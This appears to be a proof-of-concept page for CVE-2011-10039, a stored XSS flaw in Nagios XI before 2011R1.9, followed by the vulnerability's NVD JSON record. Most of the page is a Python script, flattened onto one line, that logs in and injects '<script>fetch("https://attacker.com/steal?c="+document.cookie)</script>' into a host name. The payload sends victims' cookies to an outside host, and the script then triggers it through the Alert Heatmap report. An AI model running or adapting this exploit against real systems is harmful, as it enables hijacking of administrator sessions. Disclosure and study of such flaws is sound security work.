CVE-2011-10039

import requests import sys from bs4 import BeautifulSoup # CVE-2011-10039 PoC - Nagios XI XSS via Alert Heatmap Report # Target: Nagios XI < 2011R1.9 TARGET_URL = "http://target-nagios-xi.local" USERNAME = "attacker" PASSWORD = "password123" def login(): """Authenticate to Nagios XI and obtain session cookie""" session = requests.Session() login_url = f"{TARGET_URL}/nagiosxi/login.php" login_data = { "username": USERNAME, "password": PASSWORD, "loginButton": "Login" } response = session.post(login_url, data=login_data, timeout=10) if "nagiosxi" in response.cookies.keys() or response.status_code == 200: return session return None def inject_xss_payload(session): """Inject XSS payload into host alert name/description""" # XSS payload for stealing cookies xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' # Inject via host configuration host_config_url = f"{TARGET_URL}/nagiosxi/config/hosts" host_data = { "host_name": f"TestHost{xss_payload}", "address": "192.168.1.100", "max_check_attempts": "5", "check_period": "24x7", "contacts": "nagiosadmin", "submit": "Commit Changes" } response = session.post(host_config_url, data=host_data) return response.status_code == 200 def trigger_heatmap(session): """Trigger Alert Heatmap report generation""" # Generate Alert Heatmap report report_url = f"{TARGET_URL}/nagiosxi/reports/alertheatmap.php" response = session.get(report_url) # Check if XSS payload is reflected if '<script>' in response.text: print("[+] XSS vulnerability confirmed!") print("[+] Payload executed in Alert Heatmap report") return True return False def main(): print(f"[*] CVE-2011-10039 PoC - Nagios XI XSS") print(f"[*] Target: {TARGET_URL}") # Step 1: Login print("\n[1] Attempting authentication...") session = login() if not session: print("[-] Authentication failed") sys.exit(1) print("[+] Authentication successful") # Step 2: Inject XSS payload print("\n[2] Injecting XSS payload into host alert...") if inject_xss_payload(session): print("[+] Payload injected successfully") # Step 3: Trigger vulnerability print("\n[3] Triggering Alert Heatmap report...") if trigger_heatmap(session): print("[+] Vulnerability confirmed!") else: print("[-] Vulnerability not detected") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2011-10039", "sourceIdentifier": "[email protected]", "published": "2025-10-30T22:15:35.640", "lastModified": "2025-11-06T14:55:20.567", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nagios XI versions prior to 2011R1.9 are vulnerable to cross-site scripting (XSS) via the Alert Heatmap report and the “My Reports” listing of the web interface. Insufficient validation or escaping of user-supplied input may allow an attacker to inject and execute arbitrary script in the context of a victim's browser."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*", "versionEndIncluding": "2009", "matchCriteriaId": "F5A0F705-A92D-4A44-820E-AA95C185FD0A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2011:r1:*:*:*:*:*:*", "matchCriteriaId": "B2FB1221-7B2A-4C1F-877B-87A85C5F67F3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2011:r1.1:*:*:*:*:*:*", "matchCriteriaId": "B8A58F77-B01F-43E5-8AB8-9BBC7AFB8EA6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2011:r1.2:*:*:*:*:*:*", "matchCriteriaId": "930BA0E1-526F-444D-B55C-0F3986B28204"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2011:r1.3:*:*:*:*:*:*", "matchCriteriaId": "12F74EFA-B2E0-4DC6-8ECE-8CBD474B5F30"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2011:r1.4:*:*:*:*:*:*", "matchCriteriaId": "21AB904E-BE1B-420E-AA2E-BC45DF8BC745"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2011:r1.5:*:*:*:*:*:*", "matchCriteriaId": "4664377B-70C1-403A-9A61-F1CECCBC5CEF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2011:r1.6:*:*:*:*:*:*", "matchCriteriaId": "29011240-37E3-499A-AAF1-7B0F722F16A3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2011:r1.7:*:*:*:*:*:*", "matchCriteriaId": "E0E3B832-C219-475D-A433-6914973DCA3C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2011:r1.8:*:*:*:*:*:*", "matchCriteriaId": "5B5DD634-765B-44D0-A1D1-27DC326A3477"}]}]}], "references": [{"url": "https://www.nagios.com/changelog/nagios-xi/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/nagios-xi-xss-via-alert-heatmap-report-and-my-reports-listing", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}